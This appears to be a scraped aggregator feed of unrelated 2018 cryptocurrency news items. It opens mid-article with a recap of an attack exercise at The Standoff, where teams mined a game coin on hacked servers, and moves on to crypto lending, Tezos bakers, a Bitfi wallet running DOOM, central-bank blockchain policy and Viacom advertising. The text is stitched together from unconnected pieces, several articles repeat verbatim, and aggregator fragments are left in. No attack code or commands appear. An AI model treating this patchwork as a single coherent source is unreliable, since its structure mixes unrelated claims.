Cryptocurrency mining was all-new to The Standoff this year. Teams could use hacked servers as miners to earn additional points. Instead of better-known cryptocurrencies, the currency used was our very own DDoSCoin—the monetary equivalent of the effort spent to DDoS a server. Proof-of-work consisted of TLS 1.2 handshakes. The more TLS handshakes that a miner made with a targeted server, the higher the likelihood of finding a new block that would earn compensation from the DDoS organizer.

The mining client was written in Go and compatible with both Windows and Linux. This was the first time such an idea was implemented and although not all teams did so, we saw attempts to mine on many of the game servers.

Attempt to start mining on a Joomla host (100.64.154.147)Launch of a miner from SPUTNIK infrastructure (10.106.60.0/24)

Teams mined cryptocurrency, which could be exchanged for game points.  Half of the teams used previously hacked servers to mine blocks. DDoSCoin was also subject to supply and demand, thanks to an in-game currency exchange: if the amount of mined currency went up, the exchange rate (points per block) fell. This made it possible to "play the market" and earn more points without even having to complete tasks. But the idea was new to this type of game and teams did not truly put it into action, due to which the effect on gameplay was minimal.

The clear leader in mining (as measured by number of blocks) was CAICA, from Kazakhstan, which was the first team to run miners on game infrastructure. Here we are able to give team names, as opposed to just numbers, because identifiers were included in the block information. Overall, the concept shows clear promise—so expect to see it at The Standoff next year.

Conclusion

The competition got hot at The Standoff! Twelve teams actively probed and hacked the infrastructure of the virtual city. Our products gave a full view of how the teams behaved, which tactics and tools they used, and which targets they pursued. We witnessed their interactions with office domain infrastructure, starting with infection of a single machine and culminating with control over the entire domain and access to the adjacent ICS network.

The load on our products during the game was simply enormous. MaxPatrol SIEM processed 20,000 EPS, while PT NAD handled over 3 terabytes of network traffic, not to mention the network infrastructure itself: routers, switches, and firewalls were truly put to the test in demanding circumstances.

Similar system compromises could very well have happened in real offices that are not properly protected and monitored. Correspondence, financial information, and personal data are all ripe for the taking.

In the midst of constant scanning, bruteforcing, and exploitation of all sorts of vulnerabilities, Positive Technologies products stood fast and helped to determine the precise methods used to hack the game servers. They pinpointed successful attacks and indicators of compromise, including web shells, remote consoles, tunnels, and host logins. All this information will help to strengthen our products against attacks in the wild.

VPN connections during the game are illustrated on the map above. Such connections were made with servers in the U.S., Kazakhstan, Netherlands, and several other European countries. Although none of the teams at The Standoff came from the U.S. or Europe, one team hailed from Kazakhstan.


          The crypto bear market has been a blessing for this bitcoin trading firm's booming new business      Cache   Translate Page   Web Page Cache   

bitcoin accepted here cryptocurrency

  • Bitcoin has tanked this week, falling about 16%.
  • But the bearish turn has been a blessing for Genesis Global Trading's new lending business.
  • Genesis originated $30 million in crypto loans on Tuesday, its largest amount ever, as many borrowing crypto are doing so in order to take a short position. 

Bitcoin markets have been in a tailspin this week, but that's actually been a blessing for one trading firm's burgeoning new lending business. 

Genesis Global Trading, a crypto trading shop based in New York, launched a crypto lending unit, Genesis Capital, earlier this year. That business originated $30 million in crypto loans on Tuesday, its largest amount ever, according to chief executive officer Michael Moro. The company typically lends out around $2 million per day on average. 

In a sense, it could be a bearish indicator for the market. Many of the people who are borrowing crypto from the firm are doing so in order to take a short position on a given coin. 

At last check, the price of bitcoin — the largest crypto — was down about 15% at $6,517 a coin

"Hedge funds could borrow bitcoin to short it, for example," Lex Sokolin, a partner at Autonomous NEXT, the financial-technology analytics provider. "This would mean they borrow some amount in bitcoin, sell it, and then repay in bitcoin (at whatever price) whenever the loan comes due."

Part of the bump in lending is also tied to the launch of Ethereum Classic trading on Coinbase, according to Moro. 

As for the business' next steps, Moro said he expects to expand its services. One thing the firm could do is start doing is put the collateral they are given for loans to work. 

"All the people borrowing and shorting are putting up collateral," he said. "We have the ability to turn around and do whatever we want with the collateral."

The company is also considering US dollar loans. This would mean  a bitcoin holder who wants to liquidate his or her crypto could do so without selling it but still have access to cash. 

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A general misconception with digital currency, which also creates confusion amongst the population, is that cryptocurrencies transactions are not easy, and are usually difficult to process and much more difficult to understand. The misunderstanding of such notions can be cleared by the awareness of Cryptocurrency exchanges, Cryptocurrency Wallets, and Multi-Cryptocurrency Payment Gateways. Payment Gateways- Business Model Before you get into the mode of understanding- multi-Cryptocurrency payment gateways you should be aware of what are Payment Gateways? They are on-line pages which capture the data of payment instrument between a merchant and consumer. They are usually the checkout pages, for such transactions, and capture the data in encrypted form and pass it to the payment processor. The processor, in turn, verifies or authenticates it and does the settlement of funds. You may come across various Payment Gateways like- APIs Like- Coinbase, which can be embedded in the client s website.
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  • Bitcoin has tanked this week, falling about 16%.
  • But the bearish turn has been a blessing for Genesis Global Trading's new lending business.
  • Genesis originated $30 million in crypto loans on Tuesday, its largest amount ever, as many borrowing crypto are doing so in order to take a short position. 

Bitcoin markets have been in a tailspin this week, but that's actually been a blessing for one trading firm's burgeoning new lending business. 

Genesis Global Trading, a crypto trading shop based in New York, launched a crypto lending unit, Genesis Capital, earlier this year. That business originated $30 million in crypto loans on Tuesday, its largest amount ever, according to chief executive officer Michael Moro. The company typically lends out around $2 million per day on average. 

In a sense, it could be a bearish indicator for the market. Many of the people who are borrowing crypto from the firm are doing so in order to take a short position on a given coin. 

At last check, the price of bitcoin — the largest crypto — was down about 15% at $6,517 a coin

"Hedge funds could borrow bitcoin to short it, for example," Lex Sokolin, a partner at Autonomous NEXT, the financial-technology analytics provider. "This would mean they borrow some amount in bitcoin, sell it, and then repay in bitcoin (at whatever price) whenever the loan comes due."

Part of the bump in lending is also tied to the launch of Ethereum Classic trading on Coinbase, according to Moro. 

As for the business' next steps, Moro said he expects to expand its services. One thing the firm could do is start doing is put the collateral they are given for loans to work. 

"All the people borrowing and shorting are putting up collateral," he said. "We have the ability to turn around and do whatever we want with the collateral."

The company is also considering US dollar loans. This would mean  a bitcoin holder who wants to liquidate his or her crypto could do so without selling it but still have access to cash. 

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Hey everyone,

I'm working on an open source library involving Bitcoin and I was wondering how many (if any) of you are currently working with cryptocurrencies in your apps & games?
 
Whether you are buying/selling them, or just accepting them as a form of payment, I'd like to get some idea of what you're doing, what APIs you're hitting, what you think of it overall, and how I can (possibly?) make things like microtransactions and in-app purchases easier for you.
 
Feel free to leave a comment on this post, or message me if you don't want to talk about it publicly.
 
Thanks!
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The next 6 months are going to be pretty fun (and by fun, I mean hectic.) In addition to a couple of interesting side projects (writing & video), I'm also going back on the speaker circuit. Fortunately, I'll be able to tie a few of these stops to some "vacation" destinations.

3/18: GSP Developers (Greenville, SC)
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Taking the mystery out of CryptoCurrencies

Maybe you've heard of BitCoin, but what about LiteCoin, DogeCoin, AmericanCoin or BBQCoin? (Yes, really.) These are just a few of the available CryptoCurrencies that are showing up. If you've wondered what they are, how to get them, how they work, or what Bitcoin Mining is, then this is the talk for you.

Once you've got them, what do you do with them? We'll cover some code and show ways to leverage BitCoin and other CryptoCurrencies in your applications. Whether it's taking payments, or buying and selling the coins themselves.Taking the mystery out of CryptoCurrencies

Maybe you've heard of BitCoin, but what about LiteCoin, DogeCoin, AmericanCoin or BBQCoin? (Yes, really.) These are just a few of the available CryptoCurrencies that are showing up. If you've wondered what they are, how to get them, how they work, or what Bitcoin Mining is, then this is the talk for you.

Once you've got them, what do you do with them? We'll cover some code and show ways to leverage BitCoin and other CryptoCurrencies in your applications. Whether it's taking payments, or buying and selling the coins themselves.

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Are Cryptocurrencies Ready For Mainstream Use? Are we?

 

I'm a big fan of the major cryptocurrencies like Bitcoin (BTC) and LiteCoin (LTC). I’m not really paying any attention to the dozens of derivative (and in some cases satirical) alternatives, such as Dogecoin and Coinye, but I think Bitcoin and Litecoin have a real shot at permanence.  

Having said that, do I think they are ready for prime time, mainstream use? Not yet, and here's why...

Cryptocoins have no intrinsic worth. In other words, they hold no value of their own. At this time, the only way *most* people (i.e. the non-enthusiast layman) can assess the value of 1BTC is by comparing it to another more established currency, like USD, EU, GBP, etc. There's simply no other way to describe it to someone else.

"But wait," I hear you argue... "I can tell the value of a Bitcoin by looking at how much someone charges for something, in Bitcoin."

This is true, however, it's also misleading. The only way this is of value is precisely BECAUSE you know the intrinsic value of what you're buying in your native currency.

Looking online, you know that you can buy a $50 Amazon Gift Card for 2.2047LTC. Therefore you can puzzle out the value of 1LTC as being a little under $25, but you're still just trading one currency for another. You know exactly what LTC is worth, because the intrinsic value of what you are buying is printed on the item.

How about something a little more abstract? If you don't know a lot about Bitcoin, or follow it regularly, would 250 apples for 1BTC sound like a good deal to you? How about 500? If it were 250 apples for $1, you'd jump on it... because you know exactly what $1 is worth. (Hint: at Bitcoin’s current valuation of roughly $900, it would be a really bad deal for the buyer.)

To take it a step further, cryptocurrencies in general are an unstable bunch. If you don't know what it's worth, and you don't know what it can buy, and you don't know it's value on any given day (or hour) then you are at the mercy of the seller at the time of purchase. This isn’t as big of a deal when buying tangible product, face to face, especially if you like to haggle. But what if you are buying digital product, with a digital currency, via an internet connection to a “faceless” website? You either accept the price, or you don’t. There’s nobody to argue with.

Unlike our U.S. Dollar, there are no printed or minted practical denominations of BTC. Sure you can buy a 1BTC coin, but with current prices hovering around $1000 per BTC, how would you spend it? Most things you would buy are in incredibly small fractions of Bitcoin.

Don’t believe me? Here’s another example: Let’s say you bought 1 Bitcoin at a bargain price of $800. A week later, it’s worth $950. Yay!! Thrilled with your windfall, you decide to purchase a $50 Amazon Gift Card later that day. Unbeknownst to you, China has decided to ban the Bitcoin exchanges (temporarily, it turns out) causing a momentary plummet in the value of 1BTC. Let’s say it’s now worth $400 (this is based on reality.) Had you purchased the gift card when your Bitcoin was worth $950, it would have cost you .05266BTC. Now it will cost you 0.125BTC. Doesn’t seem like a huge difference, but when the Bitcoin market stabilizes a couple days later, going back to approximately $900 for 1BTC, can you tell me how much you spent on that $50 gift card?

So how do we solve this problem?

How do we make BTC/LTC mainstream? How do we assign an easily understood value to a volatile currency with no physical backing?

We start by getting more and more companies to accept it. While this sounds counterintuitive, think of it like this... as a child (and with some adults), you have no perception of the value of money until you begin to see what it can buy and how hard it can be to come by. So, the more people see it, and what it can buy, the better appreciation they'll develop for its value. This will increase consumer comfort in using it. This is just a start, of course.

Another step in the right direction is to make it easier to acquire. This doesn’t mean making it cheaper, or devaluing it. Market pressure will (and should) drive that. I’m talking about the actual process of buying any cryptocurrencies. It’s getting better, but I remember buying $150 of LTC just a few months back, and it was a multiday process that involved trips to my ATM, a Western Union machine, multiple websites, and a lot of waiting and internet shadiness that ended well, but would certainly scare off the casual, less committed user.

It’s getting better.

Go take a look at overstock.com, for example. They've recently started accepting Bitcoin for everything they offer. That's a huge step in the right direction, but it’s not enough. We need more stores, big ones, to make it mainstream. Most of the retail websites you see today that accept cryptocurrencies don’t look like the type of business you’d feel comfortable giving your credit card to. Fortunately, you don’t have to.

Ultimately, like any technology, passionate early adopters will take on most of the risk (and reward) of cryptocurrencies. Do I think we’re there yet? No. Do I think we’ll get there? Yes.

If you’re interested, drop a few bucks and buy some. You don’t have to buy a whole Bitcoin or Litecoin to get started, and even if you don’t spend it, you can watch the exchange charts and see the value go up and down like stocks… only better, because you can’t spend stocks.


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Cartera Inhackeable

La empresa apadrinada por John McAfee para crear una cartera de criptomonedas "inhackeable" no para de quedar en evidencia. La semana pasada os contamos que un investigador de seguridad holandés había conseguido rootear en sólo una semana el dispositivo físico en el que se basa, y ahora un joven investigador ha ido un paso más allá instalando aplicaciones de terceros en él. Concretamente el mítico videojuego 'DOOM'.

McAfee defendió a su empresa en su día asegurando que rootear no es lo mismo que hackear, algo que ya le ha valido una nominación de los premios de seguridad Pwnie a la peor respuesta empresarial. Habiendo instalado un juego en el dispositivo, lo que queda claro es que no tiene las medidas de seguridad necesarias para impedir que se instalen otras aplicaciones maliciosas como keyloggers que pudieran vulnerar la seguridad de sus usuarios.

La empresa se llama Bitfi, y está intentando comercializar una cartera de criptomonedas física que cuesta 200 dólares, y que te puedes llevar siempre contigo para tener siempre contigo las criptomonedas y todas las claves. Sin embargo, en sólo una semana la seguridad del software quedó en entredicho cuando consiguieron instalarlo en un ordenador, y ahora es el propio dispositivo el que ha quedado en evidencia al haber conseguido instalar y utilizar una aplicación.

¿Y por qué es esto importante? Pues porque para instalar y jugar a un juego como este hace falta que el dispositivo te conceda varios permisos. Por ejemplo, necesitas instalar y realizar una ejecución arbitraria de código, leer y escribir sobre la memoria RAM, o tener acceso al control de la pantalla táctil.

Tal y como se ha encargado de comentar el mismo investigador, si quisieras intentar robar criptomonedas de una cartera como esa necesitarías prácticamente los mismos permisos. Por lo tanto, si puedes conseguir instalar DOOM también podrías utilizar los mismos permisos para instalar software malicioso en la cartera de alguien.

Mejor no hacer afirmaciones rotundas

Lo que queda claro es que a la empresa apadrinada por McAfee les está saliendo muy caro el fanfarronear de haber conseguido una solución a prueba de vulnerabilidades. Difícilmente hay soluciones inhackeables, y si acompañas esta afirmación de una excesiva recompensa de 250.000 dólares con la que dar una imagen de seguridad, tienes bastantes papeletas para quedar en mal lugar en cuanto la comunidad empieza a revisarlo todo.

Como os contamos la semana pasada, la empresa lanzó después una segunda campaña con recompensas de 10.000 dólares para quienes encontrasen vulnerabilidades en su solución. Habrá que ver si estas llegan a tiempo o si Bitfi ya ha sido herida de muerte sólo dos semanas después de lanzar su cartera.

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Following botched plans to launch on Ethereum, decentralized encyclopedia Everipedia has announced its operation is going live on the EOS blockchain. Everipedia wants to rival Wikipedia by offering a truly open and censorship-free database of information. Its developers claim that Wikipedia suffers from too many regulations and “bureaucratic-type overseers” that make it “attractive only to a relatively small portion of potential encyclopedia writers.” There is an inherent connection between the two platforms, too: particularly the presence of Dr. Larry Sanger, co-founder of Wikipedia, who is Everipedia’s chief information officer (CIO). The hope that Everipedia will benefit from EOS’s supposed decentralized nature –…

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The number of Tezos bakers is on the rise.

The protocol's term for a validator (its equivalent of bitcoin's miners), bakers are crucial to ensuring the nascent network's security. And that's all the more necessary given the value of the funds at stake.

Sinceraising $232 million in 2017, the protocol has hada very bumpy path to getting off the ground. Once live, though, it's become a top 20 blockchain by market capitalization, with a valuation consistently above $1 billion. Furthermore, there's been little out of the ordinary happening on the new blockchain.

Watching the amount of tokens staked to validate and the number of people taking part is probably the best way early on to assess the stability of the new network.

"I've been particularly impressed with the role the community has played in this process," Mike Reinhart of Obsidian Systems, which is building software for bakers, told CoinDesk in an email.

So far, it's been a smooth increase in bakers overall.

There are 108 bakers working on Tezos, as of this writing, besides the nodes run by the Tezos Foundation, according to TzScan.io, a block explorer for the protocol. At launch, all validation was run by the Tezos Foundation, butthat opened up with the seventh cycle (each cycle runs roughly every three days).

This is only the third week that the protocol has been operational. It's difficult to draw any big conclusions from either the limited growth or the limited attrition so far.

But the number seems to be growing as services come along to make it easier for holders of XTZ to participate. It takes 10,000 XTZ to serve as a baker (what the creators call a "roll"), plus a little technical know-how and a good internet connection.

At current prices, that's roughly $15,000 in cryptocurrency, but if the holder has a long position in tezos, then baking gives them a way to earn additional income while they sit on their tokens.

The number of rolls staked for baking has been increasing steadily as well, helped in part by the growth in delegation services. For holders that don't have $15,000 in cryptocurrency to dedicate to baking, the protocol also allows for users to delegate their tokens to a service in order to earn rewards. TzScan lists 36 companies that offer baking services so far.

It also shows three bakers that have already dropped out of providing delegation services: TZ Baker, Tezos MX and, most recently, XTEZ.

Fear of a centralized protocol

Still, two bakers on the platform represent about 20 percent of all the staked XTZ.

On the other hand, the foundation's nodes have already dropped to less than 50 percent of the total network. In the current cycle, the other 107 bakers make up 32.8 percent of the xtz staked for validation.

However, due to the way delegation on Tezos works, there's a delay from when a user decides to delegate tokens and when they really start working. Tzscan makes it possible to look several cycles ahead, and five cycles down the road , at cycle 17, (about 15 days away) those large delegation services are losing market share.

"First, they've shown a strong inclination to bake themselves: 46 percent (202/435) of all potential bakers in cycle 17 have only one-to-two rolls," Obsidian's Reinhart told CoinDesk.

Obsidian Systems makes secure software for secure baking, with support from the Tezos Foundation . It's currently command line only software, but a graphical user interface is in the works.

It's not the only member of the community to do so. Stephen Andrews has also built BakeChain , free software for windows computers available on Github.

Nevertheless, there are those who suspect the current architecture will tend toward centralization. Meltem Demirors of CoinShares, has critiqued the concentration of xtz among the very largest holders.

"There are a number of new services springing up, but we see the trend moving towards consolidation which is concerning," Demirors, who is a partner with a delegation service called Tezzigator, told CoinDesk.

Delegation ain't easy

"What we're seeing is people beginning to grasp the real implications of being an aggregator of proxy votes it's expensive and only works at scale," Demirors argued.

The delegates that have dropped out haven't provided a lot of visibility into their reasoning, but one company providing the service offered its perspective on the challenges of the business.

Awa Sun Yin of Switzerland-based Cryptium Labs has 47 rolls in its baking node, as of this writing. Yin identified three categories of challenges faced by a new delegation service, not all of which might be obvious out the outset. She broke them down into legal, infrastructure and development categories.

Not every new delegator might immediately realize that it's better to establish a legal entity. Once they have, that might persuade some to pull out.

Here in the early days of Tezos, she also pointed out that there's a lot of software updates to the protocol coming quickly that delegation services have to keep up with. Couple this with the fact that there aren't enough open source tools to automate all processes that could be automated for a delegator yet.

"The biggest struggle with maintaining the baking infrastructure is related to software upgrades," she wrote. "These releases are hard to foresee and sometimes the releases are critical, as they might have patched a security vulnerability."

In other words, it's just not as easy as setting up some code on a computer and letting it run.

That said, she added:

"As the technology has been recently launched, there is a lot of room for both development and community contributions. With time, and the right participation, it will get much better."

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I shit you not! Budding blockchain startup TRON has entered into a strategic partnership with smart toilet supplier Moshroom that culminate in the production of blockchain-powered lavatories. Ok, there’s obviously more to this story than meets the eye. Blockchain in this instance is used to provide infrastructure for micro-payments – to pay for the use of one of these toilets. Moshroom will provide the toilet, Tron provide the blockchain. Joking aside, TRON and Moshroom are addressing some of the most challenging issues for developing socieities. In many developing countries, people do not have easy access to clean and safe places…

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          La cartera "inhackeable" de criptomonedas de McAfee es tan segura que incluso instalaron el DOOM en ella      Cache   Translate Page   Web Page Cache   

Cartera Inhackeable

La empresa apadrinada por John McAfee para crear una cartera de criptomonedas "inhackeable" no para de quedar en evidencia. La semana pasada os contamos que un investigador de seguridad holandés había conseguido rootear en sólo una semana el dispositivo físico en el que se basa, y ahora un joven investigador ha ido un paso más allá instalando aplicaciones de terceros en él. Concretamente el mítico videojuego 'DOOM'.

McAfee defendió a su empresa en su día asegurando que rootear no es lo mismo que hackear, algo que ya le ha valido una nominación de los premios de seguridad Pwnie a la peor respuesta empresarial. Habiendo instalado un juego en el dispositivo, lo que queda claro es que no tiene las medidas de seguridad necesarias para impedir que se instalen otras aplicaciones maliciosas como keyloggers que pudieran vulnerar la seguridad de sus usuarios.

La empresa se llama Bitfi, y está intentando comercializar una cartera de criptomonedas física que cuesta 200 dólares, y que te puedes llevar siempre contigo para tener siempre contigo las criptomonedas y todas las claves. Sin embargo, en sólo una semana la seguridad del software quedó en entredicho cuando consiguieron instalarlo en un ordenador, y ahora es el propio dispositivo el que ha quedado en evidencia al haber conseguido instalar y utilizar una aplicación.

¿Y por qué es esto importante? Pues porque para instalar y jugar a un juego como este hace falta que el dispositivo te conceda varios permisos. Por ejemplo, necesitas instalar y realizar una ejecución arbitraria de código, leer y escribir sobre la memoria RAM, o tener acceso al control de la pantalla táctil.

Tal y como se ha encargado de comentar el mismo investigador, si quisieras intentar robar criptomonedas de una cartera como esa necesitarías prácticamente los mismos permisos. Por lo tanto, si puedes conseguir instalar DOOM también podrías utilizar los mismos permisos para instalar software malicioso en la cartera de alguien.

Mejor no hacer afirmaciones rotundas

Lo que queda claro es que a la empresa apadrinada por McAfee les está saliendo muy caro el fanfarronear de haber conseguido una solución a prueba de vulnerabilidades. Difícilmente hay soluciones inhackeables, y si acompañas esta afirmación de una excesiva recompensa de 250.000 dólares con la que dar una imagen de seguridad, tienes bastantes papeletas para quedar en mal lugar en cuanto la comunidad empieza a revisarlo todo.

Como os contamos la semana pasada, la empresa lanzó después una segunda campaña con recompensas de 10.000 dólares para quienes encontrasen vulnerabilidades en su solución. Habrá que ver si estas llegan a tiempo o si Bitfi ya ha sido herida de muerte sólo dos semanas después de lanzar su cartera.

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          A viral tweet has inspired people to donate millions of frequent flyer miles to help reunite immigrant families separated at the US border      Cache   Translate Page   Web Page Cache   

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  • People are donating their frequent flyer miles to help reunite separated immigrant families.
  • Donations have spiked this week after a University of Michigan professor's tweet went viral.
  • According to Miles4Migrants, one of the organizations that helps facilitate the award flights, they've received more donated miles during the last week than they have over the past 23 months.

As the American Civil Liberties Union and the federal government work to reunite families separated at the US-Mexico border under the Trump administration's "zero tolerance" immigration policy, road warriors and business travelers are donating their frequent flyer miles to help cover the cost of reuniting children with their families.

Although more than 1,400 separated families have been reunited as of a court-imposed July 26 deadline, at least 711 children were unable to be reunited with their families, including at least 431 who have not yet been reunited because their parents may have already been deported, according to the federal government.

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          Hacker plays ‘Doom’ on John McAfee’s ‘unhackable’ BitFi Bitcoin wallet      Cache   Translate Page   Web Page Cache   

The BitFi hardware cryptocurrency wallet isn't as unhackable as John McAfee claims. A 15-year-old bedroom hacker has managed to get Doom running on the device, suggesting its days may soon be numbered.

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          VUC674 - A Crypto currency primer      Cache   Translate Page   Web Page Cache   
Jay Carpenter joins us to talk about the basics of cryptocurrency. We cover the origins of Bitcoin and Ethereum,and disclaim that we are NOT suggesting you invest in any.
          Small Cap Value Report (Thur 9 August 2018) - ARB, EKT, CARD, AA.      Cache   Translate Page   Web Page Cache   
Graham Neary wrote:

Good morning!

We are expecting news in the next day or so from House of Fraser, where Sky News reports that PwC has been negotiating on behalf of its lenders and bondholders, trying to arrange a buyout.

In the absence of a deal, the company is likely to fall into administration and threaten 17,500 jobs. A reminder of how tough things are out there!

Talk soon

Graham



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Argo Blockchain (LON:ARB)

  • Share price: 12p (+1%)
  • No. of shares: 294 million
  • Market cap: £35 million

Agreement to Expand Mining Capacity

This report normally talks about "good" companies but I feel compelled to mention this £25 million IPO, another symptom of the mass mis-allocation of capital associated with cryptocurrency.

It's shocking to me that some blue-chip institutions were coaxed into backing it.

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          Steven Seagal is now in charge of Russia-US relations. Is there anything this man can’t do?      Cache   Translate Page   Web Page Cache   
He has become a cryptocurrency mascot, made three films, written a novel and floored an aikido team in the past year alone. Soon he will put his diplomatic skills to use for Putin

If you want an idea of just how committed Vladimir Putin is to fixing Russia-US ties, consider that he has appointed Steven Seagal as a special diplomatic envoy to the US. Seagal has held Russian citizenship since 2016, but is now elevated to a formal role by President Lulz. As the Under Siege legend put it himself: “I take this honour very seriously.”

Hey, someone’s got to. According to Russia’s foreign ministry: “The special representative will perform his duties without any financial remuneration and for the purpose of strengthening direct contacts, mutual understanding and trust between the Russian and American peoples.” Finally, the good kind of “direct contacts” – but go on. “The special representative will be involved in the preservation of memorial sites in the US that are somehow connected with Russia.” Places such as Don Jr’s hard drive, I guess, or Paul Manafort’s garden, where landscaping bills ran over $450,000 (£350,000) for four years.

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          8/9/2018: FINANCIAL POST: Crypto’s US$ 600B crash hits a new low      Cache   Translate Page   Web Page Cache   
The 2018 sell-off in cryptocurrencies plumbed new depths on Wednesday after the U.S. Securities and Exchange Commission dented enthusiasts’ hopes for a VanEck exchange-traded fund backed by Bitcoin. A broad sell-off in coins of all sizes reduced the...
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          The Blockchain Is a Tempting Target for Central Banks      Cache   Translate Page   Web Page Cache   

For the past several years, one of the most consistent themes in the world of of central banking has been the ongoing drive to incorporate blockchain technology and cryptocurrencies into the central bankers’ tool kit. The mysterious potential of the blockchain has tempted central banks around the world into a wide range of experiments with the new technology, and in a previous Mises Wire article as recently as late-2016, I discussed the Bank of England’s plan to mint its own Bitcoin-style cryptocurrency for use in inter-bank payments. Although that plan has now been shelved for the foreseeable future, the general overhaul of the Bank of England’s payments systems has continued and moved in new directions, with attempts to incorporate distributed ledger technologies having now taken on a different character.

It was these attempts which led to the recent publication of a report which announced that, when it rolls out its new Real-Time Gross Settlement (RTGS) system, the Bank of England will break with established norms by allowing blockchain-based FinTech firms to access that system.

An RTGS system is a specialist funds transfer service which “ essentially forms the foundation ” of all of the activities of Britain’s central bank. The Bank of England’s RTGS system facilitates instantly-cleared, high-value transfers of money (usually central bank reserves) and securities between financial institutions, in order to maintain the liquidity of Britain’s financial system on a minute-by-minute basis. Britain’s RTGS system facilitates around half a trillion pounds worth of inter-bank transactions every day, a number equivalent to almost a third of the UK’s total annual GDP, with the money used in the system currently being comprised of around £300 billion of electronic central bank reserves, plus around a fifth of that amount in physical banknotes.

Access to the Bank of England’s RTGS system has previously been a special privilege of banks and other such traditional, large financial institutions. So why is the Bank of England now planning to open the system up to a new generation of tech startups based around the decidedly non-traditional payments system of the blockchain? The Bank of England’s report on its decision offers few clues to the underlying reasons for the shift, mainly concerning itself with vague and generic statements about the need to “meet the challenges posed by a rapidly changing landscape” by offering “a diverse and flexible range of settlement models, to enable existing and emerging payment infrastructures to access central bank money”. It is certainly true that Bank of England Governor Mark Carney has been adamant in his desire to modernise the Bank’s RTGS system, with the current “ambitious rebuild” representing one of the key endeavours of his tenure. But Carney himself could certainly not be described as an enthusiastic supporter of blockchain technology, and has been outspoken in his criticisms of cryptocurrencies in the past , viewing them as a largely criminal ‘Wild West’ of the modern monetary system, in dire need of the taming influence of civilisation.

However, this very distaste for the current state of the crypto-economy could provide some clues to the motivations behind the decision to bring blockchain-based firms into the fold. Aside from its role of controlling the British money supply and interest rates, the second most important function of the Bank of England is its role as the key regulator of Britain’s financial system. It is entirely possible that, by inviting these new blockchain-based firms into the Procrustean bed of ‘respectable’ British finance, the Bank of England is hoping to be able to extend its regulatory power over the newly emerging frontier of cryptocurrencies and distributed ledger technology. This interpretation seems to be borne out by a speech given by Carney on the subject of cryptocurrencies, this March. After decrying the supposed tendency of private cryptocurrencies toward debasement and use by criminals, Carney seemed to hint that appropriate controls could be placed on the growing blockchain economy by incorporating it into the mainstream financial sector, which Carney’s Bank of England regulates. “The time has come to hold the crypto-asset ecosystem to the same standards as the rest of the financial system. Being part of the financial system brings enormous privileges, but with them great responsibilities.” Just two months after giving this speech, the Bank of England began running ‘Proof of Concept’ tests with a handful of blockchain-based FinTech startups — Baton Systems, Clearmatics Technologies Ltd, Token, and R3 — which led to this decision to allow blockchain-based firms access to the Bank’s RTGS system.

Another possible motivation behind the decision could be to extend the Bank of England’s influence over interest rates into the developing crypto-economy. When the Bank of England lends out central bank reserves to private banks, through the RTGS system, the borrowing banks have to pay the ‘Bank Rate’ of interest on those borrowed reserves, which is one of the few interest rates in the economy which the Bank of England actually directly controls. The greater the number of private banks who are, through the RTGS, made to pay the ‘Bank Rate’ of interest on borrowed reserves, the more the Bank of England is able to indirectly influence the constellation of other interest rates throughout the economy. This recent decision to give blockchain-based firms easier access to central bank reserves, by opening the RTGS system to them, could reflect the Bank of England’s desire to extend its influence over interest rates into the new frontier of crypto-based finance.

Regardless of the motivation, this recent decision represents only the latest development in central banks’ ongoing experimentation with distributed ledger technologies. If we wish to preserve the explicitly anti-statist intentions of the founders of the modern crypto-economy, special attention must be paid to how states and their monetary Tzars attempt to grapple with the blockchain and its implications in the future.


          第645集:Oculus Go Review      Cache   Translate Page   Web Page Cache   
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          2018 Crypto Returns…      Cache   Translate Page   Web Page Cache   
Lots of crushed dreams and bank accounts. Sad story for many. 2018 Crypto Returns… pic.twitter.com/ac6dMu4fRJ — Charlie Bilello (@charliebilello) August 9, 2018 Chart: Many cryptocurrencies are at the lows for ... Read more
          A Review Of Al-Sadaqah Organization’s Activity On ‎Telegram: Group Updates Its WhatsApp Number, Uses ‎Deep Web-Based Email Service SecMail      Cache   Translate Page   Web Page Cache   
Al-Sadaqah is an “independent charity organization” that appeared online in November 2017. The group is active on Telegram and raises funds for fighters in Syria using Bitcoin and other cryptocurrencies. The group states that it provides “the mujahideen in Syria with weapons, financial aid and other projects relating to the jihad.” Though the group’s Telegram channel has [&hellip
          The Network week in review: Aug 6-Aug 10      Cache   Translate Page   Web Page Cache   

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  • Viacom is licensing its data-driven ad product Vantage to Fox.
  • The media giant says it has invested in proprietary ad targeting tools and analytics, and wants to employ them across the industry.
  • The deal could accelerate the growth of "advanced TV" advertising, or serve to make things more complicated as heavy hitters like AT&T plot their own data courses.

Viacom wants to become an ad tech company. And it wants to help the TV industry better compete with Facebook and Google.

The beleaguered media giant, which announced decent second quarter earnings results on Thursday, is looking to develop a new revenue stream by licensing its proprietary ad targeting tools to other media companies.

Initially, Fox has signed on to license Viacom Vantage, a three-year-old ad product designed to help marketers reach more precise audiences with linear TV ads.

And the hope is that there are many more to follow.

"We are very much committed to working with more publishers," Bryson Gordon, the head of Viacom's advanced advertising group, told Business Insider. "We are in deep discussions with a broad set of publishers, both domestically and internationally."

In a way, it's not all that surprising that Fox would look to borrow someone else's tech rather than build its own. The company is in the midst of selling its studio assets and several networks to Disney.

The remaining company, "New Fox," which will include the Fox broadcast network and Fox News, will be much smaller.

Plus Fox and Viacom were already partners on OpenAP, a TV data consortium that includes NBCU, Univision and Turner.

Still, it's telling that Viacom was able to convince a rival media company that Vantage was a worthy product. 

"We love what they've built and being able to take advantage of all that great work is a big win for both of us," said David Levy, EVP at Fox Networks Group.

Fox's move could signal that TV companies are more inclined to join forces on data technology for ad purposes. Or it could set up a battle over who's TV ad algorithms are better.

Either way, the TV business is trying to prove it can be effective at reaching exact audiences with advertising, as Google and Facebook continue to suck up huge chunks of ad budgets.

Viacom says OpenAP is gaining traction, and its Fox deal with accelerate adoption

OpenAP is designed to help advertisers create common data sets that can be used for placing ads in shows that reach particular audiences. 

For instance, an auto advertiser may have proprietary research on a particular demographic that is likely to be interested in a new SUV. They can upload their data to OpenAP's interface and then try to find that audience on various TV networks.

Until now, each OpenAP partner uses its own proprietary software and tools to execute those deals, essentially to get the right ads to those audiences.

Now, Viacom and Fox will be using the same tech to do just that.

Gordon said that 900 advertisers have already run campaigns using OpenAP.

Data-driven TV advertising is a big growth area

Viacom said on its earnings call that revenue in its digital division, which includes its web video business and its Advanced Marketing Solutions unit, surged 33% this quarter and should deliver $300 million this year.

The Fox deal, "is a powerful validation of our leadership in the space," said CEO Bob Bakish. "And as we work to secure additional licensing partnerships with publishers, we’re excited by the potential of this new business to accelerate the ecosystem and evolve into an incremental revenue stream.”

